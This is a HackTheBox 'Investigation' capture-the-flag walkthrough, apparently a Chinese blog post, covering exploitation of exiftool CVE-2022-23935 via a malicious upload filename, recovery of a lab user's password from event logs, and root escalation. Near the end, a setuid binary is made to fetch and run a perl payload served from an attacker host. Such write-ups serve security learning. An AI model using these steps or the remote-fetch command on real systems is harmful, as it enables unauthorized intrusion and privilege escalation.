HackTheBox Investigation

端口扫描

nmap -sC -sV 10.10.11.197 -o inve

exiftool命令执行漏洞(CVE-2022-23935)

echo "10.10.11.197 eforenzics.htb" >> /etc/hosts

发现只允许jpeg和png格式的文件上传,先来抓包分析。

先上传一个图片看看,发现上传的图片会另存为txt文件,访问发现是一个exiftool 12.37

搜索相关利用exp:https://github.com/0xFTW/CVE-2022-23935

运行工具,会出现payload,将此payload作为图片的名字,上传图片,成功获取到webshell

收集信息获取smorton用户密码

使用此命令查找一下具有www-data权限的文件

find / -user www-data 2>/dev/null | grep -vE 'run|proc|var'

搜索了一下,发现msg是微软outlook邮件,将文件下载到本地

使用outlook软件打开,发现有一个压缩包

工具下载地址:https://github.com/omerbenamram/evtx/

使用evtx_dump从共享文件中转储数据

.\evtx_dump-v0.8.1.exe .\security.evtx -o json > dump

查看,发现TargetUserName的值每次都不一样,有点像密码。

先把这些值复制出来,最终获取到账号和密码

账号:smorton
密码:Def@ultf0r3nz!csPa$$

权限提升

在线查看程序源代码:https://dogbolt.org/

使用在线网页打开这了C语言程序,找到程序的核心源代码,进行分析。

int32_t main(int32_t argc, char** argv, char** envp)
{
    if (argc != 3)  // 检测是否具有三个命令行参数
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    if (getuid() != 0)  // 检测运行程序的用户是否具有root权限
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    if (strcmp(argv[2], "lDnxUysaQn") != 0)  // 检测命令行的第二个参数是否等于 "lDnxUysaQn"
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    puts("Running... ");
    FILE* rax_8 = fopen(argv[2], &data_2027); // 如果上面的检测都通过,会来到这里,设置curl选项,然后发送请求
    int64_t rax_9 = curl_easy_init();
    int32_t var_40 = 0x2712;
    curl_easy_setopt(rax_9, 0x2712, argv[1], 0x2712);
    int32_t var_3c = 0x2711;
    curl_easy_setopt(rax_9, 0x2711, rax_8, 0x2711);
    int32_t var_38 = 0x2d;
    curl_easy_setopt(rax_9, 0x2d, 1, 0x2d);
    if (curl_easy_perform(rax_9) != 0)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    int64_t rax_25 = snprintf(nullptr, 0, &data_202a, argv[2]);  // 当curl的请求成功,此时会使用第二个命令行参数创建两个字符串,并使用system()函数以root权限执行
    char* rax_28 = malloc((rax_25 + 1));
    snprintf(rax_28, (rax_25 + 1), &data_202a, argv[2]);
    int64_t rax_37 = snprintf(nullptr, 0, "perl ./%s", rax_28);
    char* rax_40 = malloc((rax_37 + 1));
    snprintf(rax_40, (rax_37 + 1), "perl ./%s", rax_28);
    fclose(rax_8);
    curl_easy_cleanup(rax_9);
    setuid(0);
    system(rax_40);
    system("rm -f ./lDnxUysaQn");  //在退出程序之前,会删除带有第二个命令行参数的文件
    return 0;
}

在攻击机上新建如下文件并且开启http服务

vi pwned.pl,写入exec("su")

python3 -m http.server 80

目标机上执行如下命令即可获取到root权限。

sudo binary http://attack_ip/pwned.pl lDnxUysaQn

flag

posted @ 2023-03-04 13:15  Cx330Lm  阅读(17)  评论(0编辑  收藏  举报